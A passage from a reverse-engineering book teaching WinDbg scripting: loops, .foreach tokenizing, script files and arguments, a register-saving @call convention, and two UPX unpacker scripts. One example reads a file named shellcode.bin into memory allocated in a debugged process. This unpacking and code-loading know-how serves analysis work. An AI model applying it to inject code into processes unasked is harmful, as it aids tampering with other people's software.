The next example suspends the debugger whenever the GetLastError func-

tion is called and it returns ACCESS_DENIED (value 5):

0:014> bp kernelbase!GetLastError "g @$ra;j @eax==5 '';'gc'"
0:014> g
uxtheme!ThemePreWndProc+0xd8:
00007ff8`484915e8 33c9            xor     ecx,ecx
0:000> !gle
LastErrorValue: (Win32) 0x5 (5) - Access is denied.
LastStatusValue: (NTSTATUS) 0xc0000034 - Object Name not found.

This is not the optimal way to achieve that. The public symbols of NTDLL, when 

loaded, expose a symbol called g_dwLastErrorToBreakOn. Editing this value in 

memory and passing the desired error value to break on is the better approach:

0:000> ep ntdll!g_dwLastErrorToBreakOn 5
0:000> g
(2a0.2228): Break instruction exception - code 80000003 (first chance)
ntdll!RtlSetLastWin32Error+0x21:
00007ff8'4c444df1 cc              int     3
0:000> !gle
LastErrorValue: (Win32) 0 (0) - The operation completed successfully.
LastStatusValue: (NTSTATUS) 0xc0000034 - Object Name not found.

Script Errors

If an error is encountered when a debugger script is executing, then the entire 

script will be aborted after the error message is displayed. Consider a script fi le 

with the following contents:

.printf "Script started\n";
invalid command;
.printf "Script ending\n";

When this script is executed, it will produce an error:

Script started
Script started

   ^ Syntax error in '.printf "Script started
'
0:000>
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To prevent the script from aborting, you can use the .catch command token:

.printf "Script started\n";

.catch
{
       invalid command;
       .printf "!! will not be reached !!\n";
}
.printf "After catch\n";

The error will cause the script to break out of the .catch block and display 

the error, but continue executing the script after that block:

Script started
                ^ Syntax error in ';    invalid command; '
After catch

When inside a .catch block, one can explicitly exit it with the .leave com-

mand token.

Interestingly, .leave can be used to emulate a “break,” like in a loop:

r $t0=0;

.catch

{

      .if (by(@$ip) == 0xb9)

      {

             .printf "found MOV ECX, ...\n";

             r $t0 = dwo(@$ip+1);

             .leave;

      }

      .elsif (by(@$ip) == 0xb8)

      {

             .printf "found MOV EAX, ...\n";

             r $t0 = dwo(@$ip+1);

             .leave;

      }

      $$ do some other analysis ...

      .printf "Could not find the right opcode\n";

      $$ do more stuff...

}

$$ Reached after the catch block is over, an error has 

$$ occurred or a .leave is used

Repetition Structures

The DbgEng supports four repetition structures, which are described in the 

following sections.
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The .break command can be used to break out of a loop. Similarly, the .con-

tinue command can be used to go to the next iteration within the encapsulating 

repetition structure.

N O T E  In the case of an erroneous repetition condition (the script or command exe-

cutes endlessly), you can interrupt it by pressing Ctrl+C in any of the console debug-

gers (kd, cdb, ntsd) or Ctrl+PauseBreak in WinDbg.

The for Loop

The .for command token has the following syntax:

.for (InitialCommand ; Condition ; IncrementCommands) { Commands }

The following example script dumps the interrupt descriptor table (IDT) han-

dlers using a for loop. First, we run the dt command to inspect the structure 

of an IDTENTRY on a 32-bit system in a kernel-mode debug session:

kd> dt _KIDTENTRY
ntdll!_KIDTENTRY
   +0x000 Offset           : Uint2B
   +0x002 Selector         : Uint2B
   +0x004 Access           : Uint2B
   +0x006 ExtendedOffset   : Uint2B

The script is as follows:

.for (r $t0=0; 1;r $t0=@$t0+1)

{

       $$ Take a typed pointer to the next IDT entry

       r? $t1 = @@c++(((_KIDTENTRY *)@idtr) + @$t0);

       $$ Last entry?

       .if (@@c++(@$t1->Selector) == 0)

       {

             $$ Break out

             .break;

       }

       $$ Resolve the full address

       r $t2  = @@c++((long)(((unsigned long)@$t1->ExtendedOffset << 0x10) + 

                             (unsigned long)@$t1->Offset));

       .printf "IDT[%02x] @ %p\n", @$t0, @$t2

       $$ .printf "IDT[%02x] @ %p\n", @$t2

}
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Some important aspects of the script to note:

 ■ The for loop’s condition is set to 1 so it loops indefi nitely. We will break 

out conditionally from inside the loop’s body with the .break command.

 ■ The r? is used to assign a typed value to $t1.

 ■ The pseudo-register $t1 is a pointer to _KIDTENTRY. When $t0 is added 

to it, this will advance to the appropriate memory location (taking into 

consideration the size of _KIDTENTRY).

 ■ You determine the end of the IDT entries by examining the Selector fi eld 

and breaking out of the loop accordingly.

 ■ The full base address of the IDT handler is computed by combining the 

ExtendedOffset and Offset fi elds.

 ■ You cast $t2 to long so that it is properly sign extended (as pseudo-registers 

are always 64-bit values).

 ■ Display the result.

If you fi nd using pseudo-registers like $t0 as a for loop counter a bit unusual 

and instead want to use a name like i, j, or k, for example, then create a user-

named alias called i that is equivalent to @$t0:

aS i @$t0;

.block
{
       .for (r ${i} = 1; ${i} <= 5; r ${i} = ${i}+1)
       {
              .printf "i=%d\n", ${i}
       }
}

The while Loop

The while loop is a simplifi ed form of a for loop that has neither an initial 

command nor an increment command:

.while (Condition) { Commands }

Depending on the condition expression, the while loop’s body may not execute 

at all. Here’s a sample script that traces 200 instructions in a newly started process:

$$ Go to entry point (skip NT process initialization)
.printf "Going to entry point\n";
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g @$exentry;

.printf "Started tracing...\n";

$$ Reset the counter
r $t0 = 0;

.while (@$t0 <= 0n200)
{
       .printf "ip -> %p; ntrace=%d\n", @$ip, @$t0;
       r $t0 = @$t0 + 1;
       tr;
}

.printf "Condition satisfied\n";
u @$ip L1;

Note that this is not the ideal way to do conditional tracing. The t and j com-

mands used together are a better approach.

The do-while Loop

The do-while loop has the following syntax:

.do { Commands } (Condition)

Unlike the while loop, the do loop’s body will execute at least once before the 

condition is evaluated:

.do
{ 
       .if (by(@$ip) == 0xb8)
       {
              .printf "Found MOV EAX, ...\n";
              .break;
       }
       $$ do other things
       $$ ....
       $$ ....
} (0);
.printf "Continue doing something else...\n";

The DbgEng also provides the z command to execute commands while a 

certain condition holds true:

Command [ Command ; [Command ...;] ]; z( Expression )
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In the following example, $t0 is used as a counter to trace fi ve (5) branching 

instructions:

0:000> r $t0=1
0:000> th;r $t0=@$t0 + 1; z (@$t0 <= 5);
redo [1] th;r $t0=@$t0 + 1; z (@$t0 <= 5);
redo [1] th;r $t0=@$t0 + 1; z (@$t0 <= 5);
redo [1] th;r $t0=@$t0 + 1; z (@$t0 <= 5);
redo [1] th;r $t0=@$t0 + 1; z (@$t0 <= 5);
0:000> ? @$t0
Evaluate expression: 6 = 00000006

As in the preceding example, one or more commands can be specifi ed to the 

left of the z command.

The foreach Loop

The foreach loop is very useful and can be used to enumerate tokens read from 

a fi le, from the output of a command or from a user-provided string.

Two common options can be passed (separately or together) as fi rst parameters 

to the .foreach command token:

 ■ /pS ExpressionValue—Initial number of tokens to skip when the loop 

starts. This is equivalent to initializing the counter to a non-zero value 

in a for loop.

 ■ /ps ExpressionValue—The number of tokens to skip after each iteration. 

This is equivalent to the for loop increment part where the programmer 

can specify the counter increment value.

Tokenizing from a String

The general syntax is as follows:

.foreach [Options] /s (TokenVariableName "InString" ) { OutCommands } 

For example, assume you are looking for *CreateFile*-related symbols in the 

following three modules: ntdll, kernelbase, and kernel32. This is one way to do it:

.foreach /s (token "ntdll kernel32 kernelbase") { x ${token}!*CreateFile*; }

In the next example, suppose you want to tokenize the contents of a given 

ASCII string in memory:

aS /mu STR 0x8905e8
r $t0 = 0;
.block
{
      .foreach /s (token "${STR}") 
      { 
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             .printf "token_i=%d, token_val=${token}\n", @$t0;
             r $t0 = @$t0 + 1;
      }
}

The ${} is used to evaluate the token variable’s value. This is only necessary 

only if the token is not surrounded by the space character at the time of evalu-

ation. The .block was used in order to cause the alias STR to be evaluated.

Tokenizing from the Output of a Command

The general syntax is as follows:

.foreach [Options] ( Variable  { InCommands } ) { OutCommands }

This use of .foreach is the most common because it enables extracting infor-

mation from a command’s output and using it in your script.

For the sake of demonstration, imagine a script that needs to allocate memory 

in the process space of the debuggee and then uses that memory to read a fi le’s 

contents to it.

First, examine the output of the memory allocation command .dvalloc:

0:000> .dvalloc 0n4096
Allocated 1000 bytes starting at 00620000

The output can be tokenized into six tokens; thus, the foreach loop should 

use the /pS fl ag to skip the fi rst fi ve tokens and directly start with the last token 

(which is the newly allocated memory address):

0:000> .foreach /pS 5 (token {.dvalloc 0x1000 }) { r $t0 = ${token}; .break; }

0:000> ? @$t0

Evaluate expression: 8323072 = 007f0000

The full script becomes the following:

$$ Set the image file name

aS fileName @"c:\temp\shellcode.bin"

.catch

{

       $$ Set the allocation size to be equal to the file we want to read

       r $t0 = 0n880;

       .foreach /pS 5 (token {.dvalloc @$t0; }) 

       { 

             r $t1 = token;

             .break; 

       }

       $$ Read the file

       .readmem "${fileName}" @$t1 L@$t0;
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       .printf "Loaded ${fileName} @ %p\n", @$t1

}

N O T E  Remember to free the memory with the .dvfree command.

The next example parses the output of lm1m (which, by design, returns simpli-

fi ed output for use with .foreach):

0:000> lm1m
image00400000
SHCORE
KERNEL32
comctl32
user32
Ntdll

The foreach loop should look like this:

0:000> .foreach (modulename { lm1m; }) { .printf "Module name: modulename \n";}

Tokenizing from a File

The general syntax is as follows:

.foreach [Options] /f ( Variable  "InFile" ) { OutCommands }

Assume a fi le called lines.txt with the following contents:

This is line 1
This is line 2
This is line 3

It will be tokenized as follows:

0:000> .foreach /f (line "c:\\temp\\lines.txt") { .printf ">${line}<\n" }

>This<

>is<

>line<

>1<

>This<

>is<

>line<

>2<

>This<

>is<

>line<

>3<
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Extension-Provided foreach Loops

There are a few other foreach commands provided by extensions that are not 

part of the scripting language. These foreach commands are implemented 

inside various DbgEng extensions:

 ■ !for_each_frame—Executes a command for each frame in the stack of 

the current thread

 ■ !for_each_function—Executes a command for each function in a given 

module that matches the search pattern

 ■ !for_each_local—Executes a command for each local variable in the 

current frame

 ■ !for_each_module—Executes a command for each loaded module

 ■ !for_each_process—Executes a command for each process (this exten-

sion works in kernel debugging only)

 ■ !for_each_thread—Executes a command for each thread (kernel debug-

ging only)

N O T E  Use the .extmatch *for_each* command to enumerate all the foreach 

extension commands.

Each of those extension commands exposes special variables to the command 

they execute. Please refer to the debugger manual to learn what variables are 

exposed for each specifi c extension command.

The following example lists all modules and displays some information 

about them:

!for_each_module .printf /D "%16p %16p: ${@#ModuleName} 

@<link cmd=\"u %p\">%p</link>\n", ${@#Base},${@#End}, 

$iment(0x${@#Base}), $iment(0x${@#Base})

          400000           408000: image00400000 @00406800

        74b70000         74c78000: gdi32 @74b7afc5

        75130000         75270000: KERNEL32 @7514a5cf

        755d0000         75656000: comctl32 @755d1e15

        75670000         757bf000: user32 @75685422

        759b0000         76b28000: shell32 @759b108d

        76c00000         76cbe000: msvcrt @76c0a9ed

        76fa0000         77017000: ADVAPI32 @76fa1005

The entry point was computed with the $iment() operator. Also, the Debugger 

Markup Language (DML) was used to make the entry point clickable. When 

clicked it will unassemble the instructions at the entry point. 
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The next example scans for all functions in ntdll that contain the File substring

in their name:

!for_each_function -m:ntdll -p:*File* -c:.echo @#SymbolName

N O T E  To run more commands, enclose them in quotes or just use one of the com-

mands that run script fi les.

Script Files

Various commands can be used to instruct the DbgEng to run scripts. These 

commands are split into two main categories:

 ■ Commands that open the script fi le, replace all new lines with a semico-

lon (the command separator), and concatenate the whole contents into a 

single command block. These commands have the following form: $><.

 ■ Commands that open the script fi le and interpret each line separately. 

These commands have the following form: $<.

The former is very handy when using a debugger command that accepts other 

commands as its arguments. For example, the bp command takes a breakpoint 

action, which can be a simple command or a command that runs a script fi le 

(that contains various commands inside of it).

The latter interprets the contents of the script fi le line by line; each line could 

contain various commands separated by a semicolon. Each command executed 

will also be echoed in the debugger output.

Some debugger commands interpret the whole line, disregarding whether 

there is a semicolon (;) or not. This means that using the $><-related commands 

will not work for such scripts. Consider the following example script:

r eax;r ebx
r $.u0 = This is just a line
.printf "$u0"
r ecx;r edx

Running this script with $>< does not work as intended:

0:000> $><test.wds
eax=00000000
ebx=00000000
0:000> ? $u0

Couldn't resolve error at 'This is just a line;.printf "";r ecx;r edx'
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Conversely, running this particular script with $< works just fi ne:

0:000> $<test.wds
0:000> r eax;r ebx
eax=00000000
ebx=00000000
0:000> r $.u0 = This is just a line
0:000> .printf "$u0"
This is just a line0:000> r ecx;r edx
ecx=f7fc0000
edx=00000000

The reason for this behavior is that when assigning a value to a fi xed-name 

alias, semicolons will also be part of the assignment. This explains why in the 

fi rst output, the script seems to have been suddenly stopped; it’s because $>< 

will concatenate all lines and separate them with a semicolon.

For the same reason, if you use a command that creates blocks and the curly 

braces ({ and }) are used on separate lines in the script fi le, $< will not work 

properly:

.if (1 == 2)
{
       .printf "No way!\n";
}
.else
{
       .printf "That's what I thought";
}

When executed, the preceding returns the following error:

(1)
0:000> $<blocktest.wds
0:000> .if (1 == 2)
                  ^ Syntax error in '.if (1 == 2)'
0:000> {
       ^ Syntax error in '{'
0:000>       .printf "No way!";
No way!0:000> }
       ^ Syntax error in '}'
0:000> .else
           ^ Syntax error in '.else'
0:000> {
       ^ Syntax error in '{'
0:000>       .printf "That's what I thought";
That's what I thought0:000> }
       ^ Syntax error in '}'
(2)
0:000> $><p:\book\scripts\t_blocktest.wds
That's what I thought
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N O T E  When the run script commands are prefi xed with an extra $, the script fi le 

name/path can no longer contain semicolons. When a semicolon is found after $$>< 

or $$<, then whatever comes after it is interpreted as another set of commands.

To run a script fi le with its contents concatenated into a single command 

block, use $>< or $$><:

$$><path_to\the_script.wds; r eax; al; bl;

Because $$>< is used, the semicolon allows the subsequent commands to be 

executed.

Passing Arguments to Script Files

It is possible to pass arguments to scripts using the $$>a< command:

$$>a<path_to\the_script.wds arg1 arg2 …

The arguments can then be accessed in the script via the $argN aliases. The 

alias $arg0 contains the script name (as in C’s argv[0]).

If you pass UDPRs as arguments, then they will not be expanded or evalu-

ated before being passed to the script. This is a tricky situation and can lead to 

various unexpected behaviors. For example, suppose you call a script like this:

$$>a<script.wds @$t1 @$t2

The preceding script will be passed the values @$t1 and @$t2 as ${$arg1} 

and ${$arg2}, respectively. To solve this problem, assign the pseudo-registers to 

a user-named alias and then call the script from a .block. This will guarantee 

expansion of the alias values before they are passed to the script:

aS /x val1 @$t0
aS /x val2 @$t1
.block 
{
    $$>a<script.wds ${val1} ${val2}
}
ad /q val1
ad /q val2

To check whether an argument is present, use the .if" with "${/d:…}:

.catch
{
       .if ${/d:$arg1} == 0 or ${/d:$arg2} == 0
       {
              .printf "Usage: ${$arg0} memory-address len\n";
              .leave;
       }
       r $t0 = ${$arg1};
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       .if $vvalid($t0, 1) == 0
       {
              .printf "Invalid memory address specified\n";
              .leave;
       }
       r $t1 = @$t0 + ${$arg2} - 1;
       .printf "Summing memory bytes from %x to %x\n", @$t0, @$t1;
       .for (r $t3 = 0;@$t0 <= @$t1;r $t0 = @$t1 +1)
       {
              r $t3 = @$t3 + by(@$t1);
       }
       .printf "The result is %x\n", @$t3;
}

We used a few tricks worthy of a brief explanation:

 ■ .catch and .leave were used to simulate a function start and “return” 

like behavior.

 ■ .if and ${/d:$arg1} were used to check if the fi rst argument was defi ned. 

Because we did not explicitly switch the evaluator syntax, the scripting 

engine will evaluate using MASM; thus the operators used should all be 

valid in MASM syntax. Enclosing an expression with @@c++(expression) 

will evaluate the expression using C++ syntax.

 ■ The $vvalid() operator is used to check if the passed memory address 

is valid.

 ■ The .for command token is used to loop through the memory contents, 

and each byte at that location is dereferenced using MASM’s by() operator.

In the following output, the script is passed various arguments:

(1)
0:000> $$>a<script.wds
Usage: script.wds memory-address len
(2)
0:000> $$>a<script.wds 0xbadf00d
Invalid memory address specified
(3)
0:000> $$>a<script.wds @eip 2
Summing memory bytes from 76f83bc5 to 76f83bc6
The result is eb

At marker 1, the script is executed without any arguments and it successfully 

showed its arguments. At marker 2, the script is passed an invalid memory 

address. Finally, at marker 3, the script is called correctly and the sum of the 

bytes is returned.
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N O T E  The .wds fi le extension is not necessary. It is just a convention used by vari-

ous script writers and stands for WinDbg Script fi le.

Using Scripts Like Functions

There is no way to defi ne functions in the DbgEng’s scripting language. However, 

it is possible to use various script fi les as if they were functions. A script can 

call itself recursively or call another script with another set of arguments, and 

those arguments will be different in the context of each script.

UDPRs are very handy when writing a script. When a script calls another script, 

those UDPRs will be common to all scripts and thus cannot be used exclusively 

inside each script without disrupting the state of the other caller scripts, unless 

of course they are saved and restored by the script in its entry and exit points.

N O T E  You can think of the need to preserve UDPRs in terms of registers in X86 

or AMD64 programs, where the compiler ensures that it emits code that preserves 

certain general-purpose registers upon the entry and the exit of each function while 

(depending on the calling convention) dedicating certain registers for input/output of 

the function.

With that in mind, it is important to devise a mechanism that allows us to 

easily and seamlessly, and with as little repetition as possible, save/restore 

certain UDPRs anytime a script is going to call another.

The @call Script File Alias

In the previous section we outlined the necessity of having a way to save/restore 

UDRPs. For that reason, we devised two simple scripts that do just that. This 

section illustrates both the init.wds and call.wds scripts and explains how 

they work.

The init.wds script is used to set up the scripting environment and create 

the short aliases to act like function names:

(1)
ad /q *;
(2)
aS ${/v:SCRIPT_PATH} @"p:\book\scripts";
.block
{
       $$ Callable scripts (using @call) (3)
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       aS ${/v:#sigma}      @"${SCRIPT_PATH}\sigma";
       aS ${/v:#pi}         @"${SCRIPT_PATH}\pi";
       $$ Script call aliases (4)
       aS ${/v:@dvalloc}    @"$$>a<${SCRIPT_PATH}\dvalloc.wds";
       aS ${/v:@call}       @"$$>a<${SCRIPT_PATH}\call.wds";
}

r $t19 = 0; (5)
r $t18 = 1; (6)

The init.wds script devises two user-named alias naming conventions:

 ■ Names prefi xed with @ denote aliases to the $$>a< command (run a script 

with arguments). Normally those are scripts that are self-suffi cient. (They 

do not need to preserve UDPRs and do not necessarily call themselves 

or other scripts.)

 ■ Names prefi xed with # designate an alias that can be called with the 

@call alias. Those scripts can be recursive and can safely assume that all 

the UDPRs other than those designated as return values will be saved/

restored before/after a script is called/returns.

Marker 1 deletes all previously defi ned aliases. At marker 2, the script’s base 

path is defi ned. (Note the use of @ to specify a literal string.) At marker 3, we 

defi ne two user-named aliases prefi xed with # defi ned. These are callable via 

the @call alias and evaluate to the full script path without the .wds extension. 

(The call script will append the extension.) For the sake of demonstration, two 

callable scripts are defi ned: sigma and pi. At marker 4, we defi ne two user-

named aliases prefi xed with @. These aliases simply resolve to $$>a< followed by 

the full script path. The @call alias is what makes calling scripts as a function 

possible. The @dvalloc is a wrapper around the .dvalloc command. Marker 5 

defi nes the $t19 UDPR, which is used internally by call.wds script to remem-

ber the script calls nesting level. The nesting level is used to form an alias that 

will save all UDPRs per nest level. At marker 6, we defi ne UDPR $t18, which is 

used internally by call.wds to determine how many UDPRs starting from $t0 

should be skipped while restoring the saved UDPRs after a script call (more on 

that in the following explanation).

Here is the call.wds script:

ad /q ${/v:_tn_} (1)

.catch

{

       .if ${/d:$arg1} == 0 (2)

       {

              .printf "No script to call specified";

              .leave;
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       }

       $$ Compute the saved registers alias name of the previous call

       aS /x ${/v:_tn_} @$t19; (3)

       .block

       {

              $$ Delete the saved registers alias name of the previous run

              ad /q _sr_${_tn_};

       }

       r $t19 = @$t19 + 1; $$ Increment the nesting level (4)

       $$ Compute the saved registers alias name for the current run

       aS /x ${/v:_tn_} @$t19; (5)

       $$ Save all pseudo-registers

       .block

       { (6)

              aS /c _sr_${_tn_} "r $t0,$t1,$t2,$t3,$t4,$t5,$t6,$t7,$t8,$t9,

$t10,$t11,$t12,$t13,$t14,$t15,$t16,$t17";

       }

       $$ Call the script

       .catch

       {(7)

              $$>a<"${$arg1}.wds" ${/f:$arg2} ${/f:$arg3} ${/f:$arg4}

${/f:$arg5} ${/f:$arg6} ${/f:$arg7} ${/f:$arg8} ${/f:$arg9} ${/f:$arg10} 

${/f:$arg11} ${/f:$arg12} ${/f:$arg13} ${/f:$arg14} ${/f:$arg15} 

${/f:$arg16} ${/f:$arg17} ${/f:$arg18} ${/f:$arg19} ${/f:$arg20};

       }

       $$ Restore the registers after calling

       .block

       {

              (8)

              $$ Compute the saved registers alias name

              aS /x ${/v:_tn_} @$t19; 

              .block

              {

                     $$ Restore all registers except the first ones that 

                     $$ are due to return a value

                     .foreach /pS @$t18 /s (X "_sr_${_tn_}" ) (9)

                     {

                            r ${X}; (10)

                     }

              }

              $$ Delete the saved registers alias name

              ad /q _sr_${_tn_}; (11)

              $$ Decrease the nesting level

              r $t19 = @$t19 - 1; (12)

       }

}

ad /q ${/v:_tn_}; (13)
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This script needs two UDPRs for special purposes. The fi rst is $t19, which 

is used to store the call nesting level. It is incremented each time @call is used 

to run a script, and decremented when the script fi nishes execution. Because 

$t19 is incremented and decremented, you can create an alias with a unique 

name per nesting level to store the UDPR values.

The second UDPR is $t18, which is used to designate the count of UDPRs 

used to return values (starting from $t0). By default, the value 1 indicates that 

$t0 is the only register to be used as a return value. If the script returns more 

than one value (for example, in $t0 and $t1), then the caller has to set $t18 to 2 

before calling the script. This guarantees that neither $t0 nor $t1 will be reverted 

back to their original values (the values before the script was called). The call 

script takes the script name to be called as the fi rst argument, followed by the 

rest of the arguments ($arg2 through $argN).

Now we briefl y explain how the rest of this script works before putting it into 

action. At marker 1, we delete the user-named alias _tn_ (used to compute a 

per-nesting-level alias name) before redefi ning it. Marker 2 checks if a param-

eter was passed to the script. At marker 3 and 4, we assign to the _tn_ alias the 

numeric value of the nesting level (note the use of aS /x), and then we increment 

the nesting level UDPR $t19. At marker 5, we create a temporary alias that has 

the value of the current nesting level.

At marker 6, we save UDPRs $t0 through $t17 into an alias named _sr_{_tn_} 

by using aS /c followed by the r command and the list of UDPRs to return 

their values. For instance, if the nesting level is 2, the saved register’s alias name 

will be _sr_2 and will contain the values of all UDPRs in question. _sr_0x2 

will equate to $t0=00000003 $t1=00000000 $t2=00000000 … $t17=00000000.

At markers 7 and 8, the script that was passed into $arg1 is called with the 

rest of the arguments that were passed. After the script returns, re-compute 

the _tn_ alias. (The alias could have been overwritten by the called script.)

At markers 9 and 10, we iterate in the current _sr_NESTING_LEVEL alias but 

skip $t18 tokens (note the /pS switch), and then restore each UDPR with the r 

command.

At markers 11–13, we clean up the saved registers alias ( _sr_NESTING_LEVEL), 

decrement the nesting level, and delete the temporary name alias.

The next step is to run the init.wds script that will create the appropriate 

aliases:

0:000> ad /q *; $$><p:\book\scripts\init.wds; al;
  Alias            Value  
 -------          ------- 
 #pi              "p:\book\scripts\pi" 
 #sigma           "p:\book\scripts\sigma" 
 #test            "p:\book\scripts\test" 
 @call            $$>a<"p:\book\scripts\call.wds" 
 @dvalloc         $$>a<"p:\book\scripts\dvalloc.wds" 
 SCRIPT_PATH      p:\book\scripts
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Another way to do that is to run WinDbg (or cdb) with the -c command-line 

switch:

c:\dbg\windbg.exe -c "ad /q *;$$><p:\book\scripts\init.wds;al;" p:\test.exe

You can now tell that you have two aliases for @call and @dvalloc that are 

scripts that do not require automatic save/restore of UDPRs, and three other 

scripts that rely on @call to automatically save/restore UDPRs, and they act 

like “functions.”

The sigma.wds script takes two numeric parameters and returns the sum 

of terms between the fi rst and second argument, returning the result in $t0:

.for (r $t0=0, $t1=${$arg1}, $t2=${$arg2}; @$t1 <= @$t2; r $t1 = @$t1 + 1)

{

       r $t0 = @$t0 + @$t1;

}

To execute sigma.wds, use @call #sigma start_num end_num, as follows:

0:000> @call #sigma 1 4;.printf "The result is %d\n", @$t0
The result is 10

Similarly, the script pi.wds returns the multiplication result of the terms 

between the fi rst and second argument:

.for (r $t0=1, $t1=${$arg1}, $t2=${$arg2}; @$t1 <= @$t2; r $t1 = @$t1 + 1)

{

       r $t0 = @$t0 * @$t1;

}

The dvalloc.wds script is a wrapper around the .dvalloc command. When 

@dvalloc is called, the result is returned in $t0 so it can be used in scripts:

.catch
{
       r $t0 = -1; $$ Set invalid result
       .if ${/d:$arg1} == 0
       {
              .printf "Usage: dvalloc.wds memory-size\n";
              .printf "The allocated memory is returned in t0\n";
              .leave;
       }

       $$ Allocate memory and set result into $t0
       .foreach /pS 5 (t {.dvalloc ${$arg1}}) 
       {
              .if $vvalid(${t}, 1) == 1
              {
                     r $t0 = ${t}; 
                     .leave; 
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              }       
       }
}

After allocating memory with .dvalloc, we tokenize the result and parse 

out the memory address into $t0.

Both sigma.wds and pi.wds are sample functions that use the $t1 and $t2 

UDPRs. That means if a script calls sigma or pi, then $t1 and $t2 should not be 

modifi ed in any way upon returning from both the functions back to the caller.

You can verify this behavior with the following simple test.wds script:

r $t1 = 0x123;

r $t2 = 0x456;

.printf "Before calling sigma: t1=%x, t2=%x\n", @$t1, @$t2

@call #sigma 1 3

.printf "After calling sigma: the result is t0=%x, t1=%x, t2=%x\n", 

        @$t0, @$t1, @$t2

The preceding script assigns values to UDPRs $t1 and $t2 and then calls 

#sigma 1 3, which will modify $t1 and $t2. If @call works as expected, then 

those UDPRs are restored just after the call:

0:000> @call #test
Before calling sigma: t1=123, t2=456
After calling sigma: the result is t0=6, t1=123, t2=456

Example Debug Scripts

In this section you will make use of various helpful scripts, putting into practice 

all that you have learned so far.

Getting the Image Base of a Specifi ed Module

One quick way to get the image base of a module is to use the lm (list modules) 

command with the m switch to list modules matching the specifi ed pattern:

0:000> lm m kernel32
start    end        module name
749e0000 74b20000   KERNEL32   (deferred)             

From the output, you can tell that at the fi fth token you have the image base. 

Thus, the image base can be easily parsed with .foreach by skipping the fi rst  

tokens, extracting the value of the fi fth token, and breaking out of the loop:

r $t0 = -1;
.foreach /pS 4 ( imgbase { lmm ${$arg1}; } ) 
{
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       r @$t0 = ${imgbase}; 
       .break;
}

Writing a Basic UPX Unpacker

Writing a UPX unpacker is pretty simple, and there are many ways to do it. 

The method used here is elaborate in order to exercise various debugger com-

mands. It is assumed that you have basic PE fi le format knowledge to properly 

understand the script.

The idea behind the script is as follows:

 1. UPX packs the program and moves the original entry point (OEP) away 

from the .text section, which is the fi rst section.

 2. The script calculates the bounds of the fi rst section and starts tracing.

 3. If instruction pointer (EIP) is outside of the program image, then the script 

issues a gu to return to the caller.

 4. Tracing continues until EIP is inside the fi rst section. At that point, it is 

assumed that the program has been unpacked.

Here is the script:

$$ Get image base

$$ Get image base

aS /x IMG_BASE @@c++(@$peb->ImageBaseAddress); (1)

$$ Declare some user-named aliases that equate to UDPRs

aS SEC_START   @$t19; (2)

aS SEC_END   @$t18;

aS IMG_START   @$t17;

aS IMG_END   @$t16;

$$ Go to the program entrypoint

g @$exentry

.catch

{

   $$ Get pointer to NT headers

(3)

r $t0 = ${IMG_BASE} + @@c++(((_IMAGE_DOS_HEADER *)${IMG_BASE})->e_lfanew)

   $$ Now from the IMAGE_NT_HEADERS.FileHeader, get the size of optional 

header

(4)  

r $t1 = @@c++( ((!_IMAGE_NT_HEADERS*)@$t0)->FileHeader.SizeOfOptionalHeader )

   $$ Compute the address to the first section

   $$ skip signature, size of file headers and size of optional headers

   r $t2 = @$t0 + 4 + @@c++(sizeof(ole32!_IMAGE_FILE_HEADER)) + @$t1; (5)
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   $$ (6) Get first section boundaries

   r ${SEC_START} = IMG_BASE + 

                 @@c++(((_IMAGE_SECTION_HEADER *)@$t2)->VirtualAddress);

   r ${SEC_END} = IMG_BASE + 

                 @@c++(((_IMAGE_SECTION_HEADER *)@$t2)->Misc.VirtualSize);

   $$ Compute the image bounds (7)

   r ${IMG_START} = IMG_BASE; 

   r ${IMG_END} = IMG_START + 

                 @@c++(((_IMAGE_NT_HEADERS *)@$t0)->OptionalHeader.SizeOfIm-

age);

   $$ The logic is as follows:

   $$ 1. Trace

   $$ 2. If IP is outside of image then "gu"

   .for (r $t0=0; 1; r $t0 = @$t0 + 1) (8)

   {

    $$ Trace once more to see where it leads (9)

    t;

    $$ IP outside image boundaries?

    .if (@$ip < ${IMG_START}) or (@$ip > ${IMG_END}) (10)

    {

       gu;

       .continue;

    }

    $$ IP within the first section?

    .if (@$ip >= ${SEC_START}) and (@$ip <= ${SEC_END}) (11)

    {

       .printf "--- Reach first section ---\n";

       u;

       .break;

    }

   }

} 

At marker 1, we take the image base of the current running program from 

the $peb typed pseudo-register by accessing its ImageBaseAddress fi eld using 

the C++ evaluator, and then store it in an alias called IMG_BASE.

At marker 2, we create a bunch of user-named aliases that correspond to 

some UDPRs. This is a nice trick to give names to those UDPRs. At marker 3, 

we assign the address of the _IMAGE_NT_HEADERS to the $t0 UDPR by adding 

the image base to the value of the fi eld in IMAGE_DOS_HEADER.e_lfanew. 

At marker 4, we retrieve the size of the optional headers into the $t1 UDPR. 

This will be useful to skip over all the PE headers and land in the fi rst image 

section header.
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At marker 5, we compute the address of fi rst image section into the $t2 UDPR. 

At marker 6, we parse from the IMAGE_SECTION_HEADER both the section virtual 

address (section start) and the section end (section start + section size).

At marker 7, we compute the program’s start and end addresses. The start 

address is the image base, and the end address is the image base plus the con-

tents of the IMAGE_OPTIONAL_HEADER.SizeOfImage fi eld.

At marker 8, we start looping infi nitely using a for loop, $t0 as the counter, 

and the value 1 as the condition.

At markers 9–11, we use the t command to trace a single instruction. Don’t 

trace if EIP is not within the image’s boundaries and stop tracing if the EIP is 

within the fi rst section’s boundaries.

Although this method is too long, it illustrates how to write a more complex 

tracing script and logic in case the unpacking process is more sophisticated.

The following is a simpler version of the unpacker that searches for a code 

pattern that is executed just before the program is about to transition to the 

original entry point (OEP):

$$ UPX unpack w/ pattern

$$ UPX1:0107D7F5 39 C4                cmp     esp, eax

$$ UPX1:0107D7F7 75 FA                jnz     short loc_107D7F3

$$ UPX1:0107D7F9 83 EC 80             sub     esp, -80h

$$ UPX1:0107D7FC E9 ?? ?? ??          jmp     near ptr word_103FC62

$$ Go to program entry point (not the original entry point, but the packed 

one)

$$ only if no arguments were specified

.if ${/d:$arg1} == 0

{

       g @$exentry;

}

$$ Pattern not found!

r $t0 = 0; (1)

.foreach (addr { s -[1]b @$ip L200 39 c4 75 fa 83 EC}) (2)

{

       $$ Pattern found!

       r $t0 = 1;

       r $t1 = ${addr} + 7; (3)

       .printf /D "The JMP to OEP @<link cmd=\"u %x\">%x</link>\n",@$t1,@$t1;

      (4)

       ga @$t1;

      (5)

       t; u;

       .break;

}

.if $t0 == 0

{

   .printf "Could not find OEP jump pattern. Is the program packed by 

UPX?\n";

}
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At marker 1, we use the $t0 UDPR as a Boolean variable to indicate whether 

the pattern was found.

At marker 2, we search for the pattern starting from the entry point and for 

